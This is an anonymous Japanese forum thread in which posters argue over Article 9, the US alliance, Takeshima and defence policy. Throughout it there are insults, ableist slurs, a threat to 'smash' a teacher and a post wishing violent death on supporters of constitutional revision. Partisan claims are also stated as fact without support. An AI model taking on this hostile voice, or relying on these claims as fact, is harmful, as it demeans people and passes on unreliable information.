他では絶対手に入らないね。対潜・掃海だって目茶苦茶貢献してる。

＞精神的には対等であるべき。
まさに精神的に対等でない実例が、お前みたいに
「９条があるからアメリカに逆らえない」と信じ込んでる人間なんだよ。

＞米国の懸念よりも、日本の懸念を優先しろ。

お前全然人のレス読んでないだろ。
ニクソンが言った通り、今のアメリカにとって最大の懸案は、
９条のために法的に日本軍事力をアメリカのためにフル活用が出来ないこと、
９条に支えられた日本の平和世論なんだよ。

＞> 瓶の蓋
＞そんなもの壊せ壊せっ！

こう言う酷使様はホント、少し根性叩き直さないとな。
国際政治史なんて知りもせず、交渉の現実なんか全然分かりもしないくせに。
腐っても小川を「古臭い評論家」と言い切るその度胸が凄まじいな。

ネウヨ。

>>472
> 小川は「非対称的な同盟」と言う用法をはっきり使ってるよ
何でオレが、小川和久の用語を知っていなけりゃならんの？

> 日本は立派に一芸に秀でている
まだまだダメ。国家戦略としての方向性が違う。そして一方の外交力が
無さ過ぎる。

> まさに精神的に対等でない実例が・・・
なんでそんな必死に9条擁護してんの？ 9条なんて冷戦の遺物。ベルリン
の壁みたいな物だよ。これを壊すのは象徴的なことであり、自立の第一歩。

> ９条のために法的に日本軍事力をアメリカのためにフル活用が出来ない
そんなこと言い古されている。ただの糞詰まりだよ。閉じ込められた檻の
中で篭城しているようなもの。国際的な発言力を身に付けなくては、なし
崩しになるだけ。

> こう言う酷使様はホント、少し根性叩き直さないとな
君はファシスト教条主義の見本だね。

> ネウヨ。
そして最後にイタチの屁かい (爆笑)

＞なんでそんな必死に9条擁護してんの？ 9条なんて冷戦の遺物。ベルリン
＞の壁みたいな物だよ。これを壊すのは象徴的なことであり、自立の第一歩。

ばーか。９条は冷戦前の状況だからこそ成立し得たんだよ。
その後でダレスが再軍備要求を散々やっただろうが。

＞何でオレが、小川和久の用語を知っていなけりゃならんの？

非対称的な同盟、と言う用法にケチをつけたのはお前だろ？
説明してやったのに何を開き直ってんだこのネウヨは。

＞まだまだダメ。国家戦略としての方向性が違う。そして一方の外交力が
＞無さ過ぎる。

お前マゾか？思いやり予算、港湾・基地の無償使用、対潜・掃海と、
これだけ尽くしてまだまだ駄目ってw
しまいにゃ米国債をチャラにしろとか言い出すんじゃねーだろうな。

＞国際的な発言力を身に付けなくては

日本の再軍備なんぞ、国際的な発言力にはつながらんよ。
どうせ今ですらアメリカの意向に沿わない外交は一切できないんだから。

お前の知識は大体分かった。
もう言い返すことがないんだろ？しっかり土日で勉強してきな。
ただ、こんなスレで適当な駄法螺吹いていい気になってんじゃねえぞ。

>>474
> ９条は冷戦前の状況だからこそ成立し得たんだよ
だから、もういらないんだよ。

> 用法にケチをつけたのはお前だろ？
ケチなんか付けてないだろ。対等の間違いか？ と問うてるだけ。
小川某が言ってるって、他人のネームに縋り付いている時点で、
ダメだわ、お前。

> 思いやり予算、港湾・基地の無償使用・・・まだまだ駄目って
お前アホ？ なんで米国に貢ことが一芸なんだよ。米国にも、一目
置かれる能力を持つことが大切なんだろうが。

> 日本の再軍備なんぞ、国際的な発言力にはつながらんよ。
> 今ですらアメリカの意向に沿わない外交は一切できないんだから
まさに奴隷の発想。日本より国力の無い国だって、米国と丁々発止
のやり取りをしているじゃないか。それは戦略と発想の違いなん
だよ。

> お前の知識は大体分かった・・・
捨て台詞を吐いて、もう逃げに走ってやんの m9(^Д^)

「だから、もういらないんだよ」は、ちょっと不親切か。
戦後の極貧・被保護国状態の時に成立したものが、なんで今
機能すると思ってんだ？

今日はここで落ちるけど、反論する勇気がまだ残ってるなら、
明日聞いてやる。

ある小学校での授業風景

先生：９条はわが国が世界に誇れて国民が皆幸せになる憲法なんだよ。

生徒：わあ９条ってすごいんですねー
　　　そんなにすごい憲法だったらどこの国も採用してそうですね、
　　　お隣のなんでも日本のまねをする国なんか喜んで採用しそう！

先生：……

先生：日本の民主主義を守るために９条は守らなければいけません、
　　　私たちは地球市民です、地球貢献国家を目指します、
　　　少数意見の排除は許しません。

生徒：先生言ってる内容が共産主義なんですけど。

先生：アメリカはとんでもない悪です！
　　　それに追従しようとする安部政権もとんでもない悪です！

生徒：そっかーじゃあチベット人を虐殺したり
　　　周辺諸国としょっちゅう紛争を起こしてる中国や
　　　日本にミサイルを飛ばしてくる北朝鮮もとんでもない悪ですよね！

先生：偉大なる首領様が居られる国と大中華帝国様が悪のわけないだろう！

この後生徒に体罰を加える。

俺だったらそんなカス先公をぶっ壊したやるね。

訂正
俺だったらそんなカス先公をぶっ壊してやるね。

>>477
しょうもなｗ
>>478
自作自演ぐらいまともにしろよｗ

自作自演？

>>468
＞これも、何の根拠も無いエナリお得意の嘘。竹島のような小島が軍事基地に
＞なんかなるわけない。

ロシア艦隊の見張り台基地。
日露戦争の真っ最中に調査し、戦争後に完成し海底電線で竹島と日本と結んでます。

>>475
いや、プギャーじゃなくてさあw
９条が冷戦の産物って、どこをどう間違ったらそうなるんだよ…
お前は憲法制定史や、９条の解釈の変遷とか何にも知らない。
なぜ1950年代に鳩山改憲が失敗したかも恐らく知らないだろう。
草案発表当時の横田喜三郎や佐々木惣一の見解を知っているか？
具体的な反論が出来ていないのがその証拠。

あとなぁ、評論家の言ってることを全部抑えとけとは言わないが、
小川の指摘は誰でも一度は聞いたことのある常識的な指摘だぜ？
新ガイドラインの原文読んだことあるか？
知識がなさ過ぎてまったく話にならない。

反論する勇気も何も、明日までに必死で予習して来なよ。

＞まさに奴隷の発想。日本より国力の無い国だって、米国と丁々発止
＞のやり取りをしているじゃないか。それは戦略と発想の違いなん
＞だよ。

おっと、これがあったか。こりゃ面白いな。
じゃ、軍事力を持ってアメリカとどう丁々発止のやり取りをするのか？
ぜひ、ご戦略をお伺いしたいですな。ネウヨの先生w

＞戦後の極貧・被保護国状態の時に成立したものが、なんで今
＞機能すると思ってんだ？

ああ、こんな簡単な質問ね。
９条が日本に対する懲罰的側面があったにせよ、
占領軍の方針で国体護持の交換条件にされた側面が強い。
そもそも芦田小委員会での討議、ケーディスのインタビューなどを参照すると、
将来の自衛力の保持は当然視されていたためにああ言う文言となった、
と解することは充分に可能。
マッカーサーの９条に対する態度はなかなか難しいが、つまり制憲時点で既に
「極貧・被保護国」でなくなった時点の軍備保持がある程度織り込まれていたわけ。

ところがその後、冷戦の激化により再軍備要求が強まった1950年代、
公職追放から戻ってきた保守サイドが目指した復古的改憲案や、
治安関係立法、さらに強行採決などの手法が国民に戦前回帰への不安を掻き立て、
選挙での革新勢力の伸張、安保闘争を転換点として以後、改憲再軍備論は下火に。
国民は自衛力の保持には理解を示していたが、旧軍の再建には微妙な反発を示しており、
アメリカの世界戦略への巻き込まれを懸念した(偵察機撃墜で日米安保発動との答弁あり)
そして９条支持の傾向はこの50年代中盤から鮮明になる。
つまり国民は自衛隊を旧軍や戦前の保守勢力と切断し、巻きこまれを阻止、
あくまでも自国防衛のための組織に留めるための担保として９条を支持してきたわけ。
巻き込まれ論は社会党の専売特許ではなく、国民、さらに防衛当局にも共有されており、
80年代中盤、昭和天皇も似たような感慨を漏らしている。
これは日米同盟が対東側同盟から、再定義後の極東条項の事実上の空文化により、
アメリカの覇権を支えるための同盟に変質した今、
また、アメリカが軍事力カードを簡単に切るようになった現在、
まさに50年代改憲論の当時の国民の意思と直結した現代的意義のある条項。

ほら説明したよ。意味が分かるかどうかは知らないがな。

>>482
> ロシア艦隊の見張り台基地

見張り台は竹島よりも先に鬱陵島に造ってる(1904.9)。でも鬱陵島は
領有宣言していないね。つまり、見張り台を造ることと領有宣言は、
何の関係も無いということ。またまた嘘がバレちゃったね (苦笑)

>>483
> ９条が冷戦の産物って、どこをどう間違ったら・・・

間違ってんのはお前。産物なんて言ってない。遺物と言ったんだよ。
お前の見方は常に米国中心で、奴隷根性丸出し。9条は日本にとって、
冷戦期にはそれなりに役に立ったが、今となっては害であると言って
んだよ。お前の言ってることは、みんな的外れ。

> 小川の指摘は誰でも一度は聞いたことのある常識的な指摘だぜ

底の知れない馬鹿だな。常識的なことを読んだって、何の益にもなら
ない。小川の発言はテレビ程度しか知らんが、本を読みたくなる様な
興味深い発言を、聞いたことがない。それこそ常識の範囲内でしか
なく、新たな発見や発想の転換に結びつく様なものがないんだよ。


>>484
> 軍事力を持ってアメリカとどう丁々発止のやり取りをするのか

護憲派典型の短絡思考。国力とは総合力なんだよ。話にならん。

>>485
> ところがその後・・・

うあ、サヨクの教科書まる写し。
いいかい、低脳くん。だからこそ、このままでは米国の戦略に、なし
崩しに巻き込まれていってしまうんだよ。絶対に出来ないはずの再軍備・
海外派兵・集団的自衛権・・・。みんな米国の思惑の元で実行されて
来たじゃないか。これは日本があらゆる面で、米国に依存しすぎている
からなんだよ。


お前ってば、典型的なマニュアルちゃんだろ。他人の意見を切り張り
して、何か解った気になっているだけ。芯になる自分の意見が無いから、
すぐ支離滅裂になる。

護憲派諸君へ

９条を守るため断固とした無抵抗主義への決意と覚悟が必要です。
日本が滅びても９条を守り抜くこと。
平和のためには自らの命をも差し出す決意。
人間の命は地球より重いが９条よりは軽い。

伊藤真のけんぽう手習い塾
↓
http://www.magazine9.jp/juku/001/index.html

>>487
＞でも鬱陵島は領有宣言していないね。つまり、見張り台を造ることと
＞領有宣言は、何の関係も無いということ。

いいところに気がついたね。
確かにそうともいえるけど、当時は韓国内部に日本軍が自由に移動が出来る
非常時だったんだよ。

鬱陵島の一部に見張り台基地をおいても、日露戦争が終わって平常時になっ
てもロシアは大国であり、常に日本の仮想敵国。

日露戦争当初みたいに、韓国に中立宣言などされて自由に使える見張り台基地
がなくなったら、日本軍としても困る。
軍の都合を優先したら、竹島は日本領土のほうが安心だろう。

しかも鬱陵島には韓国人がたくさん住んでて、日本領土にするには反発が強すぎる。
韓国人がぜんぜん居なかったら、鬱陵島も内緒で領有宣言をしてたかも知れんね。

ーーーーー（引用開始）−−−−−
鬱陵島にも7月、ロシア海軍監視用の望楼が完成。さらに、竹島=独島にも望楼の建設が計
画され、この年の11月日本政府は、軍艦対馬を竹島=独島に調査派遣し「望楼建設が可能」と確認した。
http://www1.ocn.ne.jp/~sinryaku/takesima1.htm

>>489
＞9条は日本にとって、冷戦期にはそれなりに役に立ったが、今となっては
＞害であると言ってんだよ。

今も益があるよ。
9条を盾にして、海外派兵をアメリカに断ることが出来る。

海外に行って国際紛争を解決する「目的の」戦力は憲法上、許されてないのだからね。
外国が日本国土に侵入してきたときの防衛力しか持ってないのだから。

ーーーーー（引用開始）−−−−−
前項の目的を達するため，陸海空軍その他の戦力は，これを保持しない。
http://kenpou.jp/modules/tinyd0/index.php?id=5

>>488
＞他人の意見を切り張りして、何か解った気になっているだけ。

アンタだって、俺だってたいして変わらんだろ？
それ以上のことが出来るとでも思ってるのかな。

自分で解った気になったら、そこで精神的成長は止まるんだよ。
後は討論の中で、自分だけのものを見出すしかない。

>>489
＞９条を守るため断固とした無抵抗主義への決意と覚悟が必要です。

9条を守るためには、非暴力抵抗主義が必要。
特に政治権力者に対してはね。

外国からの侵略に対しては、暴力も非暴力も両方の抵抗がバランスよく必要。
インドでガンジーとボースがやったようにね。
俺はボースも英雄だったと思うよ、ガンジーだけでは失敗してたでしょう。

−−−−−（引用開始）−−−−−
イギリスによる報復は裏目に出た。インド国民会議派は裁判に弁護士団を送り
込み、労働組合はゼネストに入った。大英帝国の番犬と揶揄された英印軍までも
がイギリスに砲弾を向けた。この結果、裁判の進展とともにインド全土が騒乱状
態となり、イギリスがインド支配を諦める引き金になったというのが歴史の真相
である。
http://www.melma.com/backnumber_322_473569/

これより全ての改憲派は、自衛隊入隊を許可する。
可愛そうだが、今度派遣するときは、最前線にて
ロケットランチャーで不意打ちされて脳漿を飛び散らして
自分の愚かな考えが復讐しか生み出さない事を証明してくれたまえ。

賢い人は、人の上に立つので、沢山の価値観、宗教、立場の違う人達と
領土の問題、主権の問題、宗教の問題、経済の問題、安全保障の問題を
外交によって勝ち取ってきます。

もちろん、安倍はヘルメットとリュックを背負ってほふく前進で
地雷踏んできます。かわいそ(つД｀)

インタビュー「ほんとうの『安全保障』とは何か」
法学館憲法研究所浦部法穂教授


浦部教授は、従来｢安全保障｣と言えば｢軍備を充実させる｣ことばかりが語られてきたが、憲法学は｢国の安全保障｣ではなく、｢一人ひとりの安全保障｣を考えていく必要があると説いています。
浦部教授が強調することとして、「トータルとしての国民」ではなく、｢顔の見える一人ひとりの人間｣が守られる必要性があります。

http://www.jicl.jp/now/ronbun/backnumber/20070115.html


■指摘点

＞従来｢安全保障｣と言えば｢軍備を充実させる｣

これは誤りで、正しくは、「ある危機からいかに自分達（国・社会）を守るか」である。


＞｢国の安全保障｣ではなく、｢一人ひとりの安全保障｣を考えていく必要があると説いています。

国家安全保障があっての人間の安全保障である。

この教授は安全保障の定義を理解していない。

>>496
>国家安全保障があっての人間の安全保障である。

間違い！
人間の安全があっての、国家が存在できる。
イデオロギーに取り付かれると、この原理が混乱するようだね。

司馬遼太郎氏が戦争中に、上官に戦車を移動するのに避難民が邪魔に
なったらどうするかと聞いたとき、この参謀本部から来たバカは
「ひき殺して行け」と答えたという。

アンタはバカ上官の仲間だ！

ーーーーー（引用開始）−−−−−
道路は舗装されておらず、路幅もせまく、はっと二車線程度という道筋がほとんど
だった。戦車が南下する、大八車が北上してくる、そういう場合の交通整理はどう
なっているんだろうかということであった。

その人は相当な戦術家であったであろう。しかし日露戦争の終了とともに成立した
官僚国家が、その後半世紀ちかく経ち、軍人官僚をもふくめて官僚秩序というもの
が硬化しきったころに太平洋戦争があり、この人はその官僚秩序のなかから出てき
ている。戦術もその官僚秩序のなかで考えている人であり、すくなくとも織田信長
や羽柴秀吉のような思考の柔軟さは環境としてもっていなかった。このため、この
戦術という高級なものを離れた素人くさい質問については考えもしていなかったら
しく、しばらく私を睨みすえていたが、やがて昂然と、

「轢っ殺してゆけ」

と、いった。
http://d.hatena.ne.jp/lovelovedog/20061025/hiki

＞間違い！
人間の安全があっての、国家が存在できる。
イデオロギーに取り付かれると、この原理が混乱するようだね。

↓
この人間の安全保障という言葉が頻繁に使われるようになった背景として、
特に冷戦後多発する内戦をはじめとした地域紛争の際においては国家が
国民の安全を確保する機能を失うという状況がまれではなく、そのような
状況の下で国際社会がどのように紛争当事国の国民の安全保障を確保
するべきかという課題に迫られているということが挙げられる。

http://www.jica.go.jp/infosite/security/index.html
http://ja.wikipedia.org/wiki/%E4%BA%BA%E9%96%93%E3%81%AE%E5%AE%89%E5%85%A8%E4%BF%9D%E9%9A%9C

ひ弱な人間が地球上で生き残ってこれたのは、
群れ(社会)を造ることに長けていたからだ。
だから人間にとって一番大切なのは、個人では
なく群れである。カルトなイデオロギストには、
この道理が解らない。

>>491
> いいところに気がついたね
それで余裕を見せてるつもり？ 嘘が簡単にバレて、悔しさにぷるぷる震えて
いるのが目に見えるようだよ。

エナリくんってば、
> 当時は韓国内部に日本軍が自由に移動が出来る・・・
と、朝鮮が無力だったことを必死に強調していながら、すぐに、
> 韓国に中立宣言などされて自由に使える見張り台基地がなくなったら・・・
などと、朝鮮に抗う力があったかのように変節する。
見張り台が使えなくなる程、朝鮮に力があったなら、何で竹島領有宣言の時に
抗議しなかったんだよ。お前は以前、朝鮮の立場では抗議すら出来なかった
んだと、主張していたよなー。
お前は辻褄合わせのために、そのつど適当な嘘をつくから、すぐに矛盾する
んだよ (苦笑)

>>492
> 今も益があるよ
ほんの僅かでもメリットがあれば、予算を付けて無駄遣いする役人みたいな
屁理屈だな〜。でもね、今みたいな対米依存が続く限り、9条があっても、
やがて海外派兵は断れなくなるよ。

>>499
＞ひ弱な人間が地球上で生き残ってこれたのは、
＞群れ(社会)を造ることに長けていたからだ。

間違い！
人間は、地球上でマレに見るくらいの強い生き物で、残酷で、ズル賢い。
仲間同士で殺し合いまでしてしまう生き物。

しかし変なプライドを持ち、ライオンとさえ槍ひとつで生き死にの決闘
をする場合もある。
加藤清正のトラ退治とか、大山倍達の熊退治とか面白い生き物だ。

人間より強い生き物って、いるかね？

>>500
＞朝鮮に抗う力があったかのように変節する。

どうも理解力があまりないようだね。
当時の韓国はせっかく中立宣言をしたのに、日本軍の奇襲攻撃で首都を占領され
日本軍の言いなり状態になってたんだよ。

その後の文章は、日露戦争が終わって韓国の独立が回復した場合で、再度ロシアや
中国との非常事態になったときの未来想定。

9条の益として、海外派兵を断る道具として役に立ってるのは認めたわけかい？
それだけでも認めてくれたのなら俺は満足だ！

>>488
どこの教科書にも載ってない。だっていま書いてるドラフトだもん。
どこが可笑しいか、具体的に指摘してみな。

>>503
＞どこが可笑しいか、具体的に指摘してみな。

>>488は脳内妄想が激しく、オリジナルな書き込みかコピペか
区別する能力がないんだよ。

単細胞で、白と黒にしか世の中を区別できないの。
世の中にはねずみ色もあるし、ピンクや赤もあるんだけど
あまりにも脳細胞が単細胞で、区別が出来ない障害者なんだよ。

国家の基本任務とは

外敵防衛・治安維持・インフラ整備の３つである。

…………アダム・スミス

区別が出来ないやつ多いね
勉強とか以前の問題

>>9条の益として、海外派兵を断る道具として役に立ってるのは認めたわけかい？

そのおかげで、湾岸戦争時には1兆5000億円もの大金をアメリカに差出したにもかかわらず
クェートからは感謝されなかったんですけどね。

>>507
＞湾岸戦争時には1兆5000億円もの大金をアメリカに差出したにもかかわらず

それじゃ、スペインやイギリス並みに自衛隊を派遣し本土をテロ攻撃受けた
方があなたの好みなのかい？
俺としてはスイスみたいな立場に日本を置きたい。

−−−−−（引用開始）−−−−−
スペインの首都マドリード中心部の三つの駅で四つの列車が１０分の間に次々と爆弾が
破裂、車両は大破した。通勤通学客でのラッシュ時間を狙った卑劣なテロで、これまで
に２００人の死亡が確認され、約１５００人が重軽傷を負った。
http://www.bo-sai.co.jp/spaintero.htm

理想論＝憲法9条により日本の平和が維持されてきた。

現実論＝アメリカの軍事戦略拠点である日本がアメリカの軍事力によって攻められなかった。
また日本は自国が赤字になってでもドルの大量買いなどアメリカ経済を大幅に支えてきた、経済の重要拠点でもある。
（世界第二位の経済国家と一位のアメリカが組めば、そりゃソ連にも勝てるわなぁ。）

ところでチベットなどはすごく平和主義の国ですが、中国から侵略されかかったりしてるのはなぜ？
本当に平和憲法維持すれば、攻め込まれないのか。
俺はとなりの家の住人が、デカイ刃物の手入れするのを見かけたら、
なんらかの対策打ちたいと思うぞ。

そういえば中国は軍事費年々増大してるなぁ、
しかもイギリスの調査団体によると公表値の3〜5倍とか。
なんのために軍備拡張してるんだろ。

>>509
＞現実論＝アメリカの軍事戦略拠点である日本がアメリカの軍事力によって攻められなかった

現実論というよりアメリカのプロパガンダ。
日本に軍事力で攻め込める海軍力を持つ国は、アメリカくらいのもの。

それ以外にはロシアが持ってるかも知れんが、自衛隊と５分の勝負だろう。

9条によって日本の平和が維持されたというより、9条により海外派兵を
しなくて済んだというのが正確。

＞しかもイギリスの調査団体によると公表値の3〜5倍とか。

公表予算がざっと５兆円、３倍なら１５兆円、５倍なら２５兆円。
日本がＧＤＰ５００兆円と概算して防衛費５兆円、１％
中国はＧＤＰ３５０兆円と概算して防衛費１５兆円なら４％、
これはアメリカ並みの比率。先進国は通常２％後半には収めてる。
２５兆円に至っては７％で、もうヨレヨレ状態になってる。
しかも中国は中央政府の予算がどのくらいだっけ？そんな多くないはず。

他にも色々指摘があるが、あり得ないとは言わないが考えにくい数字だな。

改正派が指摘しているように、憲法９条は矛盾点を含んでいると思われる。
なぜなら、「世界的に一つの警察権が成立し各国が武装解除している状態」が存在しない現状では、国民の生命・財産を守るために各国の自衛戦力保持は不可欠であるからだ。

一方で、護憲派が言うように、憲法９条は政治的には一定度影響力はあったとみていい。
憲法からうまく説明できない現状がその根拠である。つまり、自衛戦力の保持しつつ、個別的自衛権はあるが、集団的自衛権は認められないという現状である。

対応策としては、憲法９条が与えた政治的影響力の良い部分を残しつつ、
自衛戦力を必要最小限認めるという方向で改正を検討するのがよいのではないか。

>>512
＞自衛戦力を必要最小限認めるという方向で改正を検討するのがよいのではないか。

それは現状の憲法9条でも認めてるよ。
歴代自民党政府も、認めてたことじゃないの？

それとも憲法が認めてないのに、世界5位の軍事費を使う軍隊を持ったのかね。
そんなに自民党って悪だったのかい？？？

>>501
> 人間は、地球上でマレに見るくらいの強い生き物で・・・

典型的な人間中心主義の認識だな。人間は群れたから強いんだよ。

> 仲間同士で殺し合いまでしてしまう生き物

これも馬鹿ヒューマニストの常套句。たいがいの生物は同種間で
殺し合いをする。これ生物学の常識。


>>502
> その後の文章は、日露戦争が終わって韓国の独立が・・・

ああ、なるほど。お得意の利己的な「たら・れば」論ね。ただの妄想
じゃん。現実は、日本の意思でどうにでもなる状況だったよね。その後
すぐに、併合条約を結んでいることからも明らかだよね。それから、
当時は今と違って、朝鮮にも親日派が沢山いたということもお忘れなく。

>>502
> 9条の益として、海外派兵を断る道具として役に立ってるのは認めた
> わけかい？

一度も否定したことないだろ。でも日本政府はそれを戦略的に積極的に
利用してこなかった。なぜかと言えば、対米依存が強すぎるからだよ。
自民党なんか米国から活動資金を貰ってたんだしね。負の側面もちゃんと
見ようよ。


>>508
> スペインやイギリス並みに自衛隊を派遣し本土をテロ攻撃受けた方が

日本国内で大規模なテロが起きていないのは、国内に過激なムスリムが
少ないとか、地理的に遠いとか、いまだ第二次大戦での日本の活躍を
中東の人々が意識しているとか、パレスチナ問題ではアラブに近い態度を
とりつづけたとか、経済技術援助を積極的に行ってきたとか、キリスト教国
ではないとか・・・の理由があるからだよ。9条のおかげではない。

> 俺としてはスイスみたいな立場に日本を置きたい

そうそう、スイスみたいに、汚い外交ができるようにならなくちゃね。

>>510
> 9条により海外派兵をしなくて済んだというのが正確

とうとうエナリが9条平和論から、意見を変えたぞー！
他にも利点はある。戦後復興期に安全保障費を米国にまる投げして、
経済発展に専念できたとかね。とにかく9条は功罪ともにあるんだよ。
片方だけ見てちゃダメだ。


>>513
自衛隊は軍隊というよりか、警察力の延長という存在なんだよね。
だから装備の点でも、諸法規の面でも不備がいっぱいあるんだよ。
それらを整えるのに、今の憲法ではややこしいんだな。

すっきりしようよ。な。

>>503
> どこが可笑しいか、具体的に指摘してみな

お前は何も回答出来てないんだよ。それすら解らんのかね ┐(´ー｀)┌

戦後すぐの日本に対する貢献せよという圧力と、今の国力を持った日本に
対する圧力では、まったく次元が違うのだよ。国際社会における米国の
力も、相対的に落ちてきているし、紛争戦争に対する制約や中味も変わって
きているんだよ。それなのに日本の対米依存は相変わらずなわけだ。どこか
で、首輪を外さなければならないのは、目に見えているだろ。

>>515
＞日本政府はそれを戦略的に積極的に利用してこなかった。

なんでそんなに、断言できるの？
俺の知識では、ベトナム戦争でも韓国みたいに5000人も戦死者を出さずに
すんだし、第一次イラク戦争でも自衛隊を動員されなくて済んだし、小泉
のアンポンタンのおかげでイラク戦争に自衛隊を派遣されはしたが、蛸壺
作戦という臆病な戦術を、陸上自衛隊は取ることが出来た。

戦略的に積極的に9条を、日本が活用してきた証拠だと思うけど・・・・

−−−−−（引用開始）−−−−−
韓国政府はアメリカからの参戦要請を受けて、一九六四年、移動外科医療団と
テコンドーの教官を当時の南ベトナムに派遣したのを皮切りに、ベトナム戦争
と深く関わることになる。六五年からはついに戦闘部隊を送り込み本格参戦。

七三年に撤退するまで、三一万人あまりの韓国軍兵士がベトナムに派遣された。
http://www.asiawave.co.jp/KyonSukkyon1.htm

■■■■■■■■■■■■■■■■■■■■■■■■■■■
　　　　　　平　和　憲　法　崩　壊

１．アメリカ軍と共に海外派兵で殺し合い （武装派兵合法化改憲）

(こちらがいくら屁理屈並べても相手が戦争と思えば戦争。
　　　となれば日本は敵国となり、狙いやすい日本現地法人、
　　　日本本土が標的になる）

２．自衛隊員が大量辞職　（他国民と殺し合いなどしたくない）

３．人　殺　し　兵隊が　減り、徴　兵　制　導　入 となる。

４．「オマエら人殺しをして来い！」と一匹のキチガイ首相に命令される。

　（キチガイ首相、君が人殺しをしろ。私は喜んで服役する） 　　　
■■■■■■■■■■■■■■■■■■■■■■■■■■■

>>514
＞たいがいの生物は同種間で 殺し合いをする。これ生物学の常識。

そんな事をいいながら、具体的例を出せないのがあなたの限界。
そういえば定説だとか言って、人を煙に巻くのが上手な宗教家がいたな。

犬にしても、自分のテリトリーは他の犬に入らせないが
喧嘩をして追い出すくらいが関の山。

殺し合いはめった見かけない。
猫もテリトリーがあるんだぜ。

−−−−−（引用開始）−−−−−
昼間、ネコが一匹でフラフラと歩いているのは、自分のテリトリーの点検をし
ているわけです。その時塀の角などに顔をこすりつけている光景を良く見ますが、
顔にある臭い腺から出る臭いをこすりつけ、マーキングをしているのです。
http://www.ntv.co.jp/megaten/library/date/01/04/0415.html

>>516
＞とうとうエナリが9条平和論から、意見を変えたぞー！

なんだ、その9条平和論って。
俺がどう意見を変えたのか言ってみろ！

低脳児が！

>>516
＞警察力の延長という存在なんだよね。

警察力の延長で良いだろ。
コスタリカなんて軍隊がなくったって、何とかやってるんだから
攻められた場合の、正当防衛力で十分。

すっきりさせることで、海外派兵の危険を冒す必要はない。

共産党や社民党は正当防衛すら否定していないですか？

芝田進午・広島大学名誉教授の毎日新聞（1994年9月6日）への寄稿文の一部

　「広島・長崎への原爆攻撃の目的は何だったのか。一つには戦後世界でのアメリカの覇権
確立であり、二つには『原爆の効果』を知るための無数の人間への『人体実験』だった。
　だからこそ、占領後に米軍が行ったことは、第一に、原爆の惨状についての報道を禁止し、
『人体実験』についての情報を独占することだった。
　第二に、史上前例のない火傷、放射能障害の治療方法を必死に工夫していた広島・長崎の
医者たちに治療方法の発表と交流を禁止するとともに、死没被爆者のケロイドの皮膚や臓器
や生存被爆者の血液やカルテを没収することだった。
　第三に、日本政府をして国際赤十字からの医薬品の支援申し出を拒否させることだった。
　たしかに、『実験動物』を治療するのでは『実験』にならない。そこで米軍は全力を尽く
して被爆治療を妨害したのである。
　第４に、被爆者を『治療』せず『実験動物』のように観察するＡＢＣＣ（原爆障害調査
委員会と訳された米軍施設）を広島・長崎に設置することであった。加害者が被害者を観察
するというその目的自体が被爆者への人権蹂躙ではなかったか」
http://inri.client.jp/hexagon/floorA4F_ha/a4fhc700.html

>>９条改悪してこんなアメリカ軍の下請けですか？

宮沢総理も生前、外国で戦争をする国にしてはならないといっていた。
アメリカの軍需産業と石油企業の利益のために日本の若者の命をアメリカ
に渡す売国奴に加担してはならない。

>>523
＞共産党や社民党は正当防衛すら否定していないですか？

自衛隊に対する共産党や社民党としての対応は、正当防衛権は認めたものです。
そこまで空想的じゃないよ。

軍事費の削減とか、米軍への思いやり予算の廃止は主張してるがね。

−−−−−（引用開始）−−−−−
──米軍への「思いやり予算」を廃止します。

──イージス艦、ヘリ空母、90式戦車、海外派兵経費など、軍事費を大幅に削減します。

──米軍再編のための3兆円もの負担を中止します。
http://www.jcp.or.jp/seisaku/2007/07saninseisaku/01-seisaku.html

社民党は自衛隊の存在と、自衛隊が平和憲法の下での日本防衛を担うことを認めております。
http://akisue.com/page041.html

>>525
なるほどそうなんですか
でも今の憲法のままで何かあった時やありそうな時に充分な対応が
出来ないような気がするんですよ

いずれにせよ9条の改正は必要。
政治家の都合で自由に解釈できる9条を放置する9条護憲派はバカとしか言いようがない。
どうしなければいけないかを考えるのが重要であるにもかかわらず、
2択論法に持ち込んで思考している奴は議論以前の問題。

>>517
だから、それは応分の負担論だろ？
あと、それはクリティカルな弱点があって、
じゃあアメリカが警察的な軍事行動に出る時に、
負担を分かち合う国の意見を聴くかと。
意見なんか聴かずに軍事行動始めて、有志はついて来い、費用出せなんて
冗談じゃねぇよ。それじゃあ同盟国じゃなくて属領。

全然聴かないから、フォローに回ったシラクがついに切れちゃったんじゃん。
聴きませんと言うのが現在のアメリカの態度なんだから何も負担だけ負うことはない。
思いやり予算もベトナムの尻拭いから始まったんだから、もうキリがない

>>518
> なんでそんなに、断言できるの？

出来るよ。日本政府はいつでも、守って頂いているという姿勢で
対米外交をやってきた。なんで外国の軍隊が日本であんなデカイ面
しているのか考えてみろよ。
日本政府が9条を宣伝したり、逆手にとって要求したりしたことが
あるか？ 今までの利用実績は、ただの言い訳に使ってきたという
だけだよ。そんなの少しも戦略的じゃない。


>>521
でたー。いつもの逆切れー！

お前は何時でも、一貫性が無くて矛盾だらけなんだよ。
で、9条の負の部分については、考える気になったか？

>>520
> 具体的例を出せないのがあなたの限界

馬鹿。例なんて無数にあるから出さなくても解るだろうと思ったんだが、
言わなきゃ解らんか・・・。
たとえばライオンやサルは、群れのボスが交代すると、先代ボスの子供を
みな殺しにすることがある。

「子殺し - 新しいオスが前のオスの子どもたちを攻撃し、殺してしまうこと。
・・・ライオン、ハヌマンラングール、チンパンジー、ジリスなど、多くの
動物で子殺しが見つかっている」
(ttp://contents.kids.yahoo.co.jp/zukan/yougo/ko_1.html)

限られた空間に、一定数以上の個体が存在すると、生物は殺し合いをした
り共食いをしたりする。ラットやコオロギなどの小さい生物に顕著。

「共食いには食性以外にもっと別の理由が関係しています。それは生活密度
です。昆虫には、１匹が生活するために必要な空間というものが・・・」
(ttp://www.hachikura.com/hachikurajouhou/simada_1.html)

そういえば、家の近所でもカラスの縄張り争いで戦争やってるよ。道端に
死骸が何羽もあってびびったことがある。

こんなもんでいいか？ テレビの動物番組やニュースでも、ときどきやって
るぞ。無知なヤツとの会話は、これだからね(溜息)

>>522
> 警察力の延長で良いだろ

いいよ。十分な防衛力と自衛権が確保できるならね。

> コスタリカなんて軍隊がなくったって

何で立場も国力も歴史も実態も違うコスタリカと比べにゃならんのかね。
日本もコスタリカみたいに、諜報部を持つのはいいね。徴兵制を導入する
のは微妙だけど、交戦権も集団的自衛権も制限を無くすのはいいね。
日本なんて軍法(自衛隊法じゃないよ)すら無いんだからね。へたすりゃ、
自衛のために敵兵を殺したら、殺人罪で起訴！ なんて笑い話が現実に
なるかも知れないんだからね。

> すっきりさせることで、海外派兵の危険を冒す必要はない

